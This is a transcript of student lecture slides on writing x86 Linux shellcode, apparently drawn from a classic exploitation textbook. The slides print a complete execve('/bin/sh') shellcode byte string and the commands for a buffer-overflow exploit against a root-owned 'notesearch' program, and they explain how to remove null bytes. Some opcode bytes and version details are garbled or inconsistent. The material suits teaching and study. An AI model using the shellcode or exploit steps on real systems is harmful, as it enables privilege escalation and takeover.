Presentation on theme: "ESCA Lab. 2014020527 Sunhee Kong. 0x500 Shellcode Running program Shellcode A small piece of malicious code used as the payload in the exploitation of."— Presentation transcript:
ESCA Lab Sunhee Kong
0x500 Shellcode Running program Shellcode A small piece of malicious code used as the payload in the exploitation of a software vulnerability. Typically starts a command shell from which the attacker can control the compromised machine. Shellcode is commonly written in machine code. “Once you know how to write your own shellcode, your exploits are limited only by your imagination.”
0x500 Shellcode in 0x300 /* execve("/bin/sh") shellcode(35 Bytes) */ char shellcode = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\ x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe 3\x51\x89\xe2\x53\x89\xe1\xcd\x80“; How should we make a shellcode? Remember this shellcode?
0x500 notesearch.c program Reads note data and only displays the notes written by that user ID An optional command-line argument can be supplied for a search string Vulnerable to a buffer overflow char searchstring; … if (arg > 1)// If there is an arg strcpy(searchstring, argv); // that is the search string
0x500 Exploiting notesearch program Put a shellcode in an environment variable which is located at the end of the stack segment. $ export SHELLCODE=$(cat shellcode.bin) Make RET point the shellcode. Get the address of the environment variable. $./getenvaddr SHELLCODE./notesearch SEHLLCODE will be at 0xbffff9c6 Make the buffer overflow $./notesearch $(perl –e ‘print “\xc6\xf9\xff\xbf”x40’) stack memory High address Low address $ SHELLCODE \x31\xc0\x31\xdb \x31\xc9\x99\xb0 \xa4\xcd\x80\x6a \x0b\x58\x51\x68 \x2f\... 0xbffff9c6 RET SFP current EBP current ESP … Search String … 0xbffff9c6 … 0xbffff9c6
0x510 Assembly vs. C Shellcode is written using the assembly language. C Standard libraries – convenience and portability Assembly No standard libraries No portability (Architecture specific) Kernel system calls have to be made directly
0x510 helloworld.c $ gcc helloworld.c $ strace./a.out … write(1, “Hello, world!\n”, 13Hello, world!) = 13 … This is what actually outputs the string
0x510 write() System Call $ man 2 write ssize_t write(int fd, const void * buf, size_t count); Write to a file descriptor Arguments fd : File descriptor number 0 (stdin), 1 (stdout), 2 (stderr) buf : A pointer to a string count : Length of a string … write(1, “Hello, world!\n”, 13Hello, world!) = 13 …
0x511 Linux System Calls in Assembly Every possible Linux system call is enumerated Listed in /usr/include/asm-i386/unistd.h … #define __NR_exit1 … #define __NR_write4 …
0x511 helloworld.asm We will make system calls to… write() : Output strings exit(): Finishes process cleanly x86 instructions used to make a system call mov : copy a value between its two operands int : send an interrupt to the kernel
0x511 int 0x80 The kernel will make a system call based on 4 registers EAX : Which system call to make (System call number) EBX : The 1 st argument to the system call ECX : The 2 nd argument to the system call EDX : The 3 rd argument to the system call EAX ← 4 (system call number for write()) EBX ← 1 (file descriptor number for stdout) ECX ← msg (address of the string) EDX ← 14 (length of the string “Hello, world!”)
0x511 Does it work? We just wrote our first x86 assembly program. Let’s see if it works fine… $ nasm –f elf helloworld.asm $ ld helloworld.o $./a.out Is it enough to be a shellcode?
0x520 Position-independent Code Inline string data : Bytes for the string “Hello, world!” must be mixed together with the bytes for the instructions. The string’s absolute memory address Calculated relative to EIP EIP cannot be accessed from assembly instructions → Need to use some sort of trick!
0x521 Stack-based Exploits x86 instructions for stack operations push pop call push EIP ret EIP ← pop(); Misuse of this architecture to get the address of “Hello, world!” string
0x521 Does it work? $ export SHELLCODE=$(cat helloworld1) $./getenvaddr SHELLCODE./notesearch SEHLLCODE will be at 0xbffff9c6 $./notesearch $(perl –e ‘print “\xc6\xf9\xff\xbf”x40’)
0x522 Investigating with GDB notesearch program runs as root Can’t debug it as a normal user Core dumps When program crashes, the memory will be dumped to disk as a core file # ulimit –c unlimited
0x522 Investigating with GDB # gdb –q –c./core (gdb) set dis intel (gdb) x/5i 0xbffff998 (gdb) i r eip (gdb) x/32xb 0xbffff998 (gdb) quit # hexdump –C helloworld1 The shell was kind enough to remove null bytes for us Destroys the meaning of machine code
0x523 Where the Null Bytes Come from… $ ndisasm -b32 helloworld1 call A small value will have to be padded with leading zeros → 0x00 (Null bytes)
0x523 Removing Null Bytes In order for the shellcode to survive transit, it must be redesigned so it doesn’t contain any null bytes. Taking advantage of 2’s complement A small negative number will have its leading bits turned on → 0xff The machine code for jumping backward won’t have any null bytes Is this enough?
0x523 More Null Bytes $ vi helloworld2.s $ nasm helloworld2.s $ ndisasm –b32 helloworld2 Still has a lot of null bytes!
0x523 Eliminating Null Bytes jmp short vs jmp EB 1Ejmpshort 0x20 E9 1E jmp0x20
0x523 Eliminating Null Bytes 3 variations of mov B moveax, 0x4 66 B movax, 0x4 B8 04 moval, 0x4 Understanding of register width and addressing :
0x523 Correctness of a Register Value More x86 Instructions inc dec add, sub, or, and, xor,
0x523 Correctness of a Register Value Clearing a register Method 1 : Takes 10 bytes to zero out a single register B moveax, 0x D subeax, 0x Method 2 : Modifies processor flags 29 C0subeax, eax Method 3 31 C0xoreax, eax
0x523 helloworld3.s Free of null bytes! To make even smaller shellcode $ ndisasm –b32 helloworld3
0x523 Does it work? $ export SHELLCODE=$(cat helloworld1) $./getenvaddr SHELLCODE./notesearch SEHLLCODE will be at 0xbffff9c6 $./notesearch $(perl –e ‘print “\xc6\xf9\xff\xbf”x40’) “It works beautifully!”
0x530 Shell-Spawning Shellcode To spawn a shell Make a system call to execute the /bin/sh shell program
0x530 execve() System Call $ man 2 execve int execve(const char *filename, char *const argv, char *const envp); Execute program Arguments filename : pointing the program to execute argv : envp : Both argv and envp must be terminated by a null pointer! Full path of programarg1…arg20x00 (Null) key=value… 0x00 (Null)
0x530 exec_shell.c This program executes /bin/sh … execve(filename, argv, envp); … “/bin/sh”Null “/bin/sh”Null $ vi exec_shell.c
0x530 To Do This in Assembly In assembly, the arguments for execve() must be built in memory Filename, argument arrays, environment arrays → A null byte must be built in memory x86 Instruction to deal with memory lea, : load effective address
0x530 exec_shell.s $ vi exec_shell.s 18 db ‘/bin/shXAAAABBBB’ ; the XAAABBBB bytes aren’t needed
0x530 Building Data in Memory Initial State B B B B A A A A X h s / n i b / 0xff EAX EBX ECX EDX 0x1C 0x20 0x24 0x28 0x2C 18 db ‘/bin/shXAAAABBBB’
0x530 Building Data in Memory Executed until line 12 0x00 h s / n i b / 0xff 0x EAX EBXFilename ECXargv EDXenvp 0x1C 0x20 0x24 0x28 0x2C &”/bin/sh”
0x530 Building Data in Memory Executed until the end (line 14) A system call to execve() is made 0x00 h s / n i b / 0xff 0x BEAX EBXFilename ECXargv EDXenvp 0x1C 0x20 0x24 0x28 0x2C &”/bin/sh”
0x530 Smaller Shellcode Smaller shellcode can be used in tighter exploit situations with smaller usable buffers. Print the number of bytes in exec_shell $ wc –c exec_shell
0x530 tiny_shell.s Uses push instructions to build the necessary structures in memory for the execve() system call.
0xXXX Live-CD Live-CD has gcc installed Two versions of gcc (gcc-3.3, gcc-4.1) By default, gcc means gcc-3.1
0xXXX Stack Protector Option Stack-smashing protection was first included in gcc from version 4.1. gcc 3.3 doesn’t support --fno-stack-protector, --fstack- protector and --fstack-protector-all options.